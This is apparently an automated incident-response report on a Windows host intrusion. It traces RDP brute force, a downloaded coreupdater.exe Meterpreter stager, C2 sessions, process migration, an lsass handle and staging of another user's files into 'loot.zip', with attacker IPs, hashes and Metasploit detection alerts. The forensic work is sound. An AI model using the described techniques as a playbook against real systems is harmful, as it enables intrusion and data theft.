Independent sources	artifact:$usnjrnl:$j artifact:jump lists (automatic) artifact:lnk files artifact:prefetch artifact:registry: bam/dam artifact:registry: recentdocs
Category	collection
MITRE ATT&CK	T1005, T1560.001, T1070.004
Period (UTC)	2020-09-18 21:42:35.500078 → 2020-09-19 03:47:48.926185

Observed facts

Within the RDP session of C137\Administrator (all artifacts in C:\Users\Administrator profile):
- 03:45:34 Notepad opens C:\Users\mortysmith\Documents\My Social Security Number.txt (22 bytes): LNK Recent\My Social Security Number.lnk (USN FileCreate 03:45:34.66), Notepad jump list entry, NOTEPAD.EXE prefetch run 03:45:34.51.
- 03:45:39 Notepad opens C:\Users\mortysmith\Documents\Plans.txt (141 bytes): LNK + jump list, prefetch run 03:45:39.88.
- 03:45:53 Photos opens C:\Users\mortysmith\Documents\Portal_gun.png (130,678 bytes, has Zone.Identifier): LNK, Photos jump list, UserAssist Microsoft.Windows.Photos runs=1 03:45:53.49.
- 03:46:15 USN: "My Social Security Number.zip" created in C:\Users\mortysmith\Documents (MFT entries 87445/87470, ~RF822ef7.TMP temp file pattern of Explorer's compressed-folder handler), 03:46:18.07 renamed to loot.zip (entry 87470); LNK Recent\loot.lnk created 03:46:18.13 (target size 131,041 bytes), RecentDocs .zip MRU 0 "loot.zip".
- 03:47:09.92 USN: loot.zip FileDelete|Close (entry 87470); no longer present in $MFT.
- 03:47:39 Notepad opens C:\Users\mortysmith\Desktop\Thoughts.txt (7 bytes): LNK, jump list, RecentDocs, prefetch run 03:47:39.74; UserAssist notepad.exe runs=3 last 03:47:39.72; BAM -500 notepad.exe 03:47:48.93.
NOTEPAD.EXE prefetch FilesLoaded references THOUGHTS.TXT, PLANS.TXT and MY SOCIAL SECURITY NUMBER.TXT.

Analysis

The domain Administrator session (attacker-controlled per F-006/F-008) browsed another user's profile, viewed sensitive personal data and staged it in a ZIP named "loot.zip" (size ~131 KB, consistent with Portal_gun.png + text files), which was deleted ~50 s later. The deletion suggests the archive was exfiltrated in-between (e.g. through the Meterpreter session to 203.78.103.109, or copied via the RDP clipboard/drive redirection) — exfiltration itself is not proven by these artifacts and must be checked in the network/SRUM data. Name "loot.zip" is a strong indicator of malicious intent rather than administrative activity.

Evidence (12)

UTC	Artifact	Detail	Reference	Original source
2020-09-18 22:50:19	LNK files	Target: created (recorded in the LNK) C:\Users\mortysmith\Documents\My Social Security Number.txt machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=22	lecmd/lnk_F.csv#13	F:\Users\Administrator\ AppData\Roaming\ Microsoft\Windows\ Recent\My Social Security Number.lnk
2020-09-18 22:47:57	LNK files	Target: created (recorded in the LNK) C:\Users\mortysmith\Documents\Plans.txt machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=141	lecmd/lnk_F.csv#14	F:\Users\Administrator\ AppData\Roaming\ Microsoft\Windows\ Recent\Plans.lnk
2020-09-18 23:07:44	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) C:\Users\mortysmith\Documents\Portal_gun.png machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=130678	lecmd/lnk_F.csv#15	F:\Users\Administrator\ AppData\Roaming\ Microsoft\Windows\ Recent\Portal_gun.lnk
2020-09-19 03:46:15	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) C:\Users\mortysmith\Documents\loot.zip machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=131041	lecmd/lnk_F.csv#12	F:\Users\Administrator\ AppData\Roaming\ Microsoft\Windows\ Recent\loot.lnk
2020-09-18 22:47:17	LNK files	Target: created (recorded in the LNK) C:\Users\mortysmith\Desktop\Thoughts.txt machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=7	lecmd/lnk_F.csv#16	F:\Users\Administrator\ AppData\Roaming\ Microsoft\Windows\ Recent\Thoughts.lnk
2020-09-18 21:42:35.500078	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\mortysmith\Documents\My Social Security Number.txt Notepad 64-bit interactions=1 machine=desktop-sdn1rpt	jlecmd/ 20261025191825_AutomaticDestinations.csv#15	F:\Users\Administrator\ AppData\Roaming\ Microsoft\Windows\ Recent\ AutomaticDestinations\ 9b9cdc69c1c24e2b.automaticDestinations-ms
2020-09-19 03:46:18.129513	Registry: RecentDocs	Opened (RecentDocs) loot.zip lnk=loot.lnk mru=0 .zip	recmd_kroll/ 20261025191813/ recmd_kroll_F_RecentDocs.csv#14	
2020-09-19 03:46:18.069334	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip RenameNewName [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36776	F:\$Extend\$J
2020-09-19 03:47:09.917465	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip FileDelete|Close [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36805	F:\$Extend\$J
2020-09-19 03:46:15.269625	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\My Social Security Number.zip FileCreate [Archive] entry=87445-3	mftecmd_usnjrnl/ usnjrnl.csv#36753	F:\$Extend\$J
2020-09-18 22:47:38.408830	Prefetch	Execution (Prefetch, previous) NOTEPAD.EXE runs=6 hash=C5670914 False	pecmd/ prefetch_0.csv#79	F:\Windows\prefetch\ NOTEPAD.EXE-C5670914.pf
2020-09-19 03:47:48.926185	Registry: BAM/DAM	Execution (BAM) \Device\HarddiskVolume3\Windows\System32\ notepad.exe ROOT\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-2232410529-1445159330-2725690660-500	recmd_kroll/ 20261025191813/ recmd_kroll_F_BamDam.csv#42	

F-014: SRUM: coreupdater.exe network traffic continues in the 04:14–05:14 slot; PowerShell (ricksanchez) traffic at 05:08 loader

Severity	**High**
Confidence	probable

Independent sources	artifact:srum (application resources) artifact:srum (network usage per application)
Category	command and control
MITRE ATT&CK	T1071.001, T1041
Period (UTC)	2020-09-19 04:14:00 → 2020-09-19 05:14:00

Observed facts

SRUM NetworkUsages: \device\harddiskvolume3\windows\system32\coreupdater.exe, SID S-1-5-21-2232410529-1445159330-2725690660-500 (Administrator): slot 2020-09-19 04:14:00 BytesReceived 333,817 / BytesSent 222,046; slot 05:14:00 BytesReceived 170,146 / BytesSent 26,570. \windows\system32\windowspowershell\v1.0\powershell.exe SID -1106 (ricksanchez) slot 05:14:00 BytesReceived 178,042 / BytesSent 15,721. SRUM AppResourceUseInfo powershell.exe -1106 slot 05:14 ForegroundCycleTime 2,190,052,069. Memory psscan shows coreupdater.exe PID 8324 exited at 03:43:10 and no other coreupdater instance; PowerShell PID 508 (05:08:37–05:08:43) spawned PID 3316 (05:08:43, still running).

Analysis

SRUM records are aggregated per hour and written at the slot timestamp, so the 04:14 slot covers activity ~03:14–04:14 (the 03:40–03:43 Meterpreter session; 222 KB sent may include the loot.zip staging window 03:46–03:47) and the 05:14 slot covers 04:14–05:14. The 05:14 coreupdater entry implies traffic attributed to the coreupdater app identity after 04:14 although the original process had exited at 03:43:10 — possible explanations: the service instance (auto-start) or migrated/injected code whose socket is still accounted to the coreupdater app entry; this cannot be resolved without process telemetry and is examined in the memory step. Sent volume in the first slot (222 KB) is compatible with exfiltration of loot.zip (131 KB) but SRUM cannot prove the content. PowerShell traffic under ricksanchez matches the Run-key loader at 05:08 (F-010).

Evidence (4)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 04:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\coreupdater.exe received=333817 sent=222046 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#190	F:\Windows\System32\SRU\SRUDB.dat
2020-09-19 05:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\coreupdater.exe received=170146 sent=26570 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#193	F:\Windows\System32\SRU\SRUDB.dat
2020-09-19 05:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe received=178042 sent=15721 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#206	F:\Windows\System32\SRU\SRUDB.dat
2020-09-19 05:14:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe foreground read/written=1085952/40960 background read/written=0/0	srumecmd/20261025191812_SrumECmd_AppResourceUseInfo_Output.csv#761	F:\Windows\System32\SRU\SRUDB.dat

4.4 Memory (RAM)

(call limit reached)

F-015: Memory: Meterpreter migrated into spoolsv.exe (PID 2188, SYSTEM) — MZ RWX region, inherited C2 socket to 203.78.103.109:443, handle to lsass.exe

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:srum (network usage per application) memory network

Category	
MITRE ATT&CK	T1055.001, T1620, T1071.001, T1003.001, T1134
Period (UTC)	2020-09-19 02:40:49.936293 → 2020-09-19 05:14:00

Observed facts

Memory image DESKTOP-SDN1RPT.mem (2 GiB, SHA256 AC6EE0E8C273103B94D776F54192D2C6ACF8303AABBD6A199254030C69F667C3), Win10 19041 x64, SystemTime 2020-09-19 05:10:39 UTC (≈40 s after FTK Imager started at 05:09:56).
- vol_malfind: spoolsv.exe PID 2188 (PPID 616 services.exe, created 01:24:09, Spooler service SERVICE_RUNNING) has a private VadS region at 0x1840000 marked PAGE_EXECUTE_READWRITE, CommitCharge 36, starting with an 'MZ' header (4d 5a 90 00 …): a reflectively loaded PE in a system service.
- vol_handles PID 2188: Process handle to lsass.exe PID 656 (GrantedAccess 5136 = 0x1410, PROCESS_QUERY_INFORMATION|PROCESS_VM_READ), a File handle to directory \Device\HarddiskVolume3\Users\mortysmith\Desktop (row 14195), and several \Device\Afd\Endpoint socket handles.
- vol_privileges PID 2188: SeTcbPrivilege, SeAssignPrimaryTokenPrivilege, SeImpersonatePrivilege enabled; getsids: S-1-5-18 Local System.
- vol_netscan/netstat: TCP 10.42.85.115:50875 -> 203.78.103.109:443 ESTABLISHED (owner not resolved). Suricata flow row 29788: same 5-tuple, flow_start 2020-09-19T04:40:49+0200 (= 02:40:49 pcap clock = 03:40:49 host UTC after the known −1 h pcap offset), still established at 07:38:44+0200, 280 KB up / 1.76 MB down.
- coreupdater.exe PID 8324 (PPID 4008, session 3) created 03:40:49 and exited 03:43:10 (pslist/psscan), yet its socket 50875 stays open until capture; SRUM still attributes 333,817/222,046 bytes (04:14 slot) and 170,146/26,570 bytes (05:14 slot) to coreupdater.exe (SID -500).
- vol_svclist: service 'coreupdater' is SERVICE_STOPPED (AUTO_START, never started since boot 01:24).
- Thoughts.txt on mortysmith's Desktop: $MFT LastAccess 2020-09-19 03:48:30 and the file is also in vol_filescan (row 5309).

Analysis

Facts from memory (one source), the pcap (a second one) and SRUM on disk (a third) agree. The C2 session that coreupdater.exe opened at 03:40:49 outlived the process, which exited at 03:43:10, and was still live when memory was captured. SYSTEM process spoolsv.exe holds an RWX region with an MZ header and socket endpoints. Taken together, this fits Meterpreter's 'migrate' into spoolsv.exe at about 03:43, just before getsystem 'nehgye' at 03:43:14. This is a classic Metasploit target. SRUM attributing the later traffic to coreupdater.exe also fits an inherited socket. The memory output does not resolve which process owns socket 50875, so the link to spoolsv rests on the MZ RWX region, the AFD handles and the timing. That makes the attribution to spoolsv probable to strong, not proven. The handle to lsass with VM_READ rights points to credential access (e.g. hashdump/kiwi), but no disk artifact confirms a dump. The handle to mortysmith\Desktop (the process's current directory or an open file) and the access to Thoughts.txt at 03:48:30 point to file browsing from this session. As a result, the attacker still had SYSTEM-level access through an in-memory implant when the system was acquired, with no backing file on disk.

Evidence (8)

UTC	Artifact	Detail	Reference	Original source
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "36", "Disasm": "\"\n0x1840000:\tpop\tr10\n0x1840002:\tnop\t\n0x1840003:\tadd\tbyte ptr [rbx], al\n0x1840005:\tadd\tbyte ptr [rax], al\n0x1840007:\tadd\tbyte ptr [rax + rax], al\n0x184000a:\tadd\tbyte ptr [rax], al\"", "End VPN": "25575423", "File output": "Disabled", "Hexdump": "4d 5a 90 00 03 00 00 00 04 00 00 0	volatility/windows.malware.malfind.Malfind.jsonl#1	
	raw.vol_handles	{"TreeDepth": "0", "GrantedAccess": "5136", "HandleValue": "1964", "Name": "lsass.exe Pid 656", "Offset": "209519057219712", "PID": "2188", "Process":	volatility/windows.handles.Handles.jsonl#14206	

UTC	Artifact	Detail	Reference	Original source
		"spoolsv.exe", "Type": "Process"}		
	raw.vol_handles	{"TreeDepth": "0", "GrantedAccess": "1048608", "HandleValue": "1912", "Name": "\\Device\\HarddiskVolume3\\Users\\mortysmith\\Desktop", "Offset": "209519093754240", "PID": "2188", "Process": "spoolsv.exe", "Type": "File"}	volatility/windows.handles.Handles.jsonl#14195	
	raw.vol_netstat	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50875", "Offset": "209519128050464", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/windows.netstat.NetStat.jsonl#12	
2020-09-19 02:40:49.936293	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50875 -> 203.78.103.109:443 failed state=established bytes=280374/1764209	suricata/case001.pcap/eve_flow.jsonl#29788	case001.pcap
2020-09-19 04:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\coreupdater.exe received=333817 sent=222046 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#190	F:\Windows\System32\SRU\SRUDB.dat
2020-09-19 05:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\coreupdater.exe received=170146 sent=26570 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#193	F:\Windows\System32\SRU\SRUDB.dat
2020-09-19 03:40:49	Memory: process list (pslist)	process created (memory, pslist) coreupdater.ex PID=8324 | PPID=4008 | ImageFileName=coreupdater.ex | SessionId=3 | Threads=0	volatility/windows.pslist.PsList.jsonl#50	C:\Sleuthline\cases\test04\memory\DESKTOP-SDN1RPT.mem

F-016: Memory: PowerShell PID 3316 (ricksanchez, Domain Admin) hosts reflective Meterpreter payload with a live C2 socket to 203.78.103.109:443

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:srum (network usage per application) memory network
Category	
MITRE ATT&CK	T1059.001, T1620, T1547.001, T1071.001
Period (UTC)	2020-09-19 04:08:45.483780 → 2020-09-19 05:14:00

Observed facts

vol_pstree/pslist: powershell.exe PID 508 (PPID 1380, missing from all lists) ran from 05:08:37 to 05:08:43 and started powershell.exe PID 3316 (05:08:43, running, 11 threads) with child conhost.exe PID 728, session 2. getsids: PID 508/3316 run as S-1-5-21-2232410529-1445159330-2725690660-1106 (ricksanchez), a member of Domain Admins (-512), at Medium integrity. vol_malfind PID 3316: an RWX VadS region at 0x10c6c070000 starts with an MZ header, plus other private RWX regions. vol_suspicious_threads: TID 3892 starts in non-file-backed VAD 0x10c6bb00000 with PAGE_EXECUTE_READWRITE. vol_cmdline returned no arguments (PEB not readable). netstat: 10.42.85.115:50972 -> 203.78.103.109:443 ESTABLISHED. Suricata flow row 16628: flow_start 06:08:45+0200 = 05:08:45 host UTC, still established at capture. SRUM: powershell.exe (ricksanchez) 178,042 B received / 15,721 B sent in the 05:14 slot. conhost console history: CommandCount 0.

Analysis

This is the in-memory result of the HKLM Run key 'coreupdate' loader already described in F-010. The memory image shows that the shellcode loaded a PE (the Meterpreter stage) into PowerShell PID 3316 and that the session was still active when memory was captured. The account is a Domain Admin, which raises the impact to the whole domain C137.local. Parent PID 1380 had exited and could not be resolved.

Evidence (8)

UTC	Artifact	Detail	Reference	Original source
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "36", "Disasm": "\"\n0x10c6c070000:\tpop\tr10\n0x10c6c070002:\tnop\t\n0x10c6c070003:\tadd\tbyte ptr [rbx], al\n0x10c6c070005:\tadd\tbyte ptr [rax], al\n0x10c6c070007:\tadd\tbyte ptr [rax + rax], al\n0x10c6c07000a:\tadd\tbyte ptr [rax], al\"", "End VPN": "1152863780863", "File output": "Disabled", "Hexdump": "4d 5a	volatility/windows.malware.malfind.Malfind.jsonl#6	
2020-09-19 05:08:43	Memory: process list (pslist)	process created (memory, pslist) powershell.exe PID=3316 | PPID=508 | ImageFileName=powershell.exe | SessionId=2 | Threads=11	volatility/windows.pslist.PsList.jsonl#81	C:\Sleuthline\cases\test04\memory\DESKTOP-SDN1RPT.mem
	raw.vol_netstat	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50972", "Offset": "209519140929552", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/windows.netstat.NetStat.jsonl#15	
2020-09-19 04:08:45.483780	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50972 -> 203.78.103.109:443 failed state=established bytes=39409/488552	suricata/case001.pcap/eve_flow.jsonl#16628	case001.pcap
2020-09-19 05:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe received=178042 sent=15721 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#206	F:\Windows\System32\SRU\SRUDB.dat
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Domain Admins", "PID": "508", "Process": "powershell.exe", "SID": "S-1-5-21-2232410529-1445159330-2725690660-512"}	volatility/windows.getsids.GetSIDs.jsonl#1062	
	raw.vol_suspicious_threads	{"TreeDepth": "0", "Address": "1152857931776", "Context": "Win32Start", "Note": "VAD at base address (0x10c6bb00000) hosting this thread has an unexpected starting protection PAGE_EXECUTE_READWRITE", "PID": "3316", "Process": "powershell.exe", "TID": "3892", "VAD Path": "<Non-File Backed Region>"}	volatility/windows.malware.suspicious_threads.SuspiciousThreads.jsonl#44	
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "1", "Disasm": "\"\n0x7df4f5a80000:\tadd\tbyte ptr [rax + rax + 0x65], dh\n0x7df4f5a80004:\tadd\tbyte ptr [rcx], cl\n0x7df4f5a80006:\tadd\tbyte ptr cs:[rax], dh\n0x7df4f5a8000a:\toutsb\tdx, byte ptr [rsi]\n0x7df4f5a8000b:\tadd\tbyte ptr [rdi], ah\n0x7df4f5a8000e:\tor\tbyte ptr [rdx], al\n0x7df4f5a80010:\tjg\t0x7df	volatility/windows.malware.malfind.Malfind.jsonl#3	

4.5 Network traffic (PCAP)

Analysed case001.pcap (SHA256 09ABF49E…, window 2020-09-18 21:58:07 → 2020-09-19 05:38:57 pcap-UTC, pcap ≈1 h behind host clock, re-validated via RDP flow vs 4624 and C2 flow vs Prefetch). Alerts qualified: the true positives are RDP nmap scan + 198 Administrator RDP login requests from 194.61.24.102 to the DC, coreupdater.exe HTTP downloads (DC 02:24:06, workstation 02:39:58 pcap), and 'PE over raw TCP' + Metasploit Bind_API on 5 sessions to 203.78.103.109:443 (3 DC, 2 workstation); the rest is ET INFO/USER_AGENTS noise. F-017: network object hashes (MD5 eed41b45…, SHA1 fd153c66…, SHA256 10f3b920…) match Amcache; C2 flows 50875 (02:40:49→end, 280 KB up/1.76 MB down) and 50972 (04:08:45→end) match Prefetch/Run-key timings and memory netscan ESTABLISHED sockets. F-018: full RDP chain 194.61.24.102 → DC → DESKTOP-SDN1RPT (flows 02:35:55-02:52:14 pcap = 4624 type 10 session). F-011 complemented with disk/memory refs. No DNS for attacker IPs, no lateral movement from the workstation, no cleartext exfiltration; 10.90.90.90 DNSBL sinkhole is environment. Timeline T-014..T-016, IOCs MD5 + URL.

F-017: Network ↔ disk ↔ memory: coreupdater.exe HTTP download to 10.42.85.115 hash-identical to Amcache entry; two Meterpreter stage/C2 sessions to 203.78.103.109:443 owned by the host

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:amcache (files) memory network
Category	command and control
MITRE ATT&CK	T1105, T1071.001, T1573, T1095
Period (UTC)	2020-09-19 02:39:58.411571 → 2020-09-19 04:08:45.783080

Observed facts

Capture case001.pcap (197,583,252 bytes, SHA256 09ABF49EFEA1852E047987D92907704D47F36D75F6C8056E2CAFA6CC027791CB). Suricata timestamps are +0200 and the pcap clock runs ~1 h behind the host clock (F-011); times below are pcap-UTC [host-clock UTC in brackets].
(1) HTTP: 10.42.85.115:50840 GET http://194.61.24.102/ at 02:39:26 [03:39:26], then 10.42.85.115:50864 GET /coreupdater.exe at 02:39:58.41 [03:39:58], UA "Mozilla/5.0 … Edge/18.19041", Referer http://194.61.24.102/, 200, application/x-msdos-program, 7168 bytes (eve_http#156). File extracted by Suricata: MD5 eed41b4500e473f97c50c7385ef5e374, SHA1 fd153c66386ca93ec9993d66a84d6f0d129a3a5c, SHA256 10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6 (eve_fileinfo#138). Alerts: ET INFO Executable Download from dotted-quad Host, ET INFO PE EXE or DLL Windows file download HTTP, ET HUNTING Dotted Quad Host MZ Response (eve_alert#442-444). The same file (same hashes) was fetched earlier by the DC 10.42.85.10 at 02:24:06 with an IE11 UA (eve_fileinfo#106). Disk: Amcache UnassociatedFileEntries coreupdater.exe SHA1 fd153c66386ca93ec9993d66a84d6f0d129a3a5c (key 03:40:45 host) — exact hash match.
(2) C2 session #1: flow 10.42.85.115:50875 → 203.78.103.109:443, start 02:40:49.936 [03:40:49 = coreupdater.exe Prefetch run time], still established at end of capture 05:38:44, 280,374 B to server / 1,764,209 B to client, app_proto 'failed' (not parsable TLS) (eve_flow#29788). Alerts at 02:40:50: ET HUNTING PE EXE Download over raw TCP + ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) (eve_alert#445/446) = Meterpreter stage (metsrv DLL) delivered over the socket. Memory: netscan 10.42.85.115:50875 → 203.78.103.109:443 ESTABLISHED (NetScan#110).
(3) C2 session #2: flow 10.42.85.115:50972 → 203.78.103.109:443, start 04:08:45.48 [05:08:45 = Run key 'coreupdate' PowerShell loader], established to end of capture 05:38:42, 39,409 B up / 488,552 B down (eve_flow#16628); alerts eve_alert#453/455 (PE over raw TCP + Bind_API) at 04:08:45. Memory: netscan 50972 → 203.78.103.109:443 ESTABLISHED (NetScan#114).
No DNS resolution precedes either attacker IP: both are contacted by raw IP. No other flows of 10.42.85.115 to 194.61.24.102/203.78.103.109 exist.

Analysis

Three independent sources agree: network capture (HTTP object hash, flows, ET alerts), disk (Amcache SHA1, Prefetch timing from step 3) and memory (netscan sockets). The time alignment (03:39:58 download, 03:40:49 execution / C2 open, 05:08:45 Run-key loader / second C2) holds after applying the constant ~1 h pcap offset. The 'Bind_API' + 'PE over raw TCP' pattern is the classic Metasploit reverse_tcp/reverse_https stage transfer; the encrypted, non-standard-TLS long-lived sessions are the interactive Meterpreter channels (session #1 later migrated into spoolsv.exe per F-015; session #2 is PowerShell PID 3316 per F-016). Volume upstream of session #1 (≈280 KB) is consistent with interactive commands plus possibly the loot.zip content (staged 03:46:18 host) — content not inspectable (encrypted), so exfiltration over C2 is only possible, not proven.

Evidence (10)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 02:39:58.411571	HTTP (Suricata)	HTTP request /coreupdater.exe http_hostname=194.61.24.102 | http_http_method=GET | http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041 | http_http_content_type=application/x-msdos-program | http_length=7168 | src_ip=10.42.85.115 | dest_ip=194.61.24.102	suricata/case001.pcap/eve_http.jsonl#156	case001.pcap
2020-09-19 02:39:58.412735	Files transferred (Suricata)	file transferred over the network /coreupdater.exe app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.115 | fileinfo_size=7168 | fileinfo_sha256=10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6 | fileinfo_md5=eed41b4500e473f97c50c7385ef5e374 | fileinfo_state=CLOSED	suricata/case001.pcap/eve_fileinfo.jsonl#138	case001.pcap
2020-09-19	Detection Suricata	medium	suricata/case001.pcap/	case001.pcap

UTC	Artifact	Detail	Reference	Original source
02:39:58.412735		ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | TCP 194.61.24.102:80 -> 10.42.85.115:50864 | Potentially Bad Traffic | 1:joI6Y9tRe9v45mCCcFMHMI7rx+A= | case001.pcap	eve_alert.jsonl#444	
2020-09-19 02:40:49.936293	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50875 -> 203.78.103.109:443 failed state=established bytes=280374/1764209	suricata/case001.pcap/ eve_flow.jsonl#29788	case001.pcap
2020-09-19 02:40:50.282950	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.115:50875 | A Network Trojan was detected | 1:pcNgXsCjc/vxVdVvPl9FwJBoPrA= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#446	case001.pcap
2020-09-19 04:08:45.483780	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50972 -> 203.78.103.109:443 failed state=established bytes=39409/488552	suricata/case001.pcap/ eve_flow.jsonl#16628	case001.pcap
2020-09-19 04:08:45.783080	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.115:50972 | A Network Trojan was detected | 1:shvkq1T5rI2BCKSFPByeBaHUCDE= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#455	case001.pcap
2020-09-19 03:40:45.191906	Amcache (files)	Amcache: file key written (≈ first execution / presence) c:\windows\system32\coreupdater.exe coreupdater.exe SHA1=fd153c66386ca93ec9993d66a84d6f0d129a3a5c compiled=2010-04-14 22:06:53.0000000 app=Unassociated	amcacheparser/ 20261025201808_Amcache_UnassociatedFileEntries.csv#2	F:\Windows\AppCompat\Programs\Amcache.hve
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50875", "Offset": "209519128050464", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/ windows.netscan.NetScan.jsonl#110	
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50972", "Offset": "209519140929552", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/ windows.netscan.NetScan.jsonl#114	

F-018: Intrusion path on the wire: RDP brute force of DC Administrator from 194.61.24.102, then RDP DC (10.42.85.10) → DESKTOP-SDN1RPT matching the 4624 type 10 logon

Severity	**High**
Confidence	confirmed
Independent sources	evtx:security.evtx network
Category	lateral movement
MITRE ATT&CK	T1110.001, T1021.001, T1046
Period (UTC)	2020-09-19 02:19:26.619607 → 2020-09-19 03:36:24.432948

Observed facts

pcap-UTC times [host clock = +1 h]. 194.61.24.102 port-probes 10.42.85.10 (80/443) at 02:19:13 and opens a burst of ~50 RDP/TLS connections in <1 s at 02:19:26 with RDP cookie 'nmap' (eve_rdp#1; ET SCAN RDP Connection Attempt from Nmap; eve_flow#491..). From 02:21:26 to 02:56:03 Suricata raises 198 'ET REMOTE_ACCESS MS Remote Desktop Administrator Login Request' alerts (RDP cookie mstshash=Administrator, eve_rdp#3 onward) from 194.61.24.102 to the DC — high-rate password guessing. At 02:23:41-02:24:06 the DC browses http://194.61.24.102/ and downloads /coreupdater.exe (eve_fileinfo#106), then opens Meterpreter sessions to 203.78.103.109:443 (02:25:18, 02:29:49, 02:56:38). Inbound to the workstation: RDP flow 10.42.85.10 → 10.42.85.115:3389 from 02:35:55.285 to 02:52:14.487 (875,256 B / 452,944 B, eve_flow#21411) plus a parallel 3389 flow 02:36:23-02:52:14 (eve_flow#31238). Host side: Security 4624 C137.LOCAL\Administrator at 03:36:22.98 host time (evtxecmd#39563) and RDP logon type 10 at 03:36:24 / logoff ~03:52:13 (F-006). No other host than the DC ever reaches 10.42.85.115 on 445/3389/5985; 10.42.85.115 opens no SMB/RDP/WinRM session to other internal hosts besides the DC (SYSVOL/NETLOGON/IPC$/FileShare only).

Analysis

The network capture establishes the full chain: external attacker 194.61.24.102 brute-forced/logged into the DC over RDP, used the DC to stage the payload, then pivoted to DESKTOP-SDN1RPT over RDP with the domain Administrator account. Flow start/end (02:35:55-02:52:14 pcap) matches the host RDP session (03:36:24-03:52:13 host) within seconds after the 1 h offset, which independently corroborates the clock offset. Whether the brute force itself succeeded is shown only indirectly (subsequent interactive actions from the DC); DC logs are not in this collection.

Evidence (7)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 02:19:26.619607	Network events (Suricata)	network event rdp TCP 10.42.85.10:3389 -> 194.61.24.102:38100	suricata/case001.pcap/ eve_rdp.jsonl#1	case001.pcap
2020-09-19 02:21:26.344228	Network events (Suricata)	network event rdp TCP 10.42.85.10:3389 -> 194.61.24.102:40046	suricata/case001.pcap/ eve_rdp.jsonl#3	case001.pcap
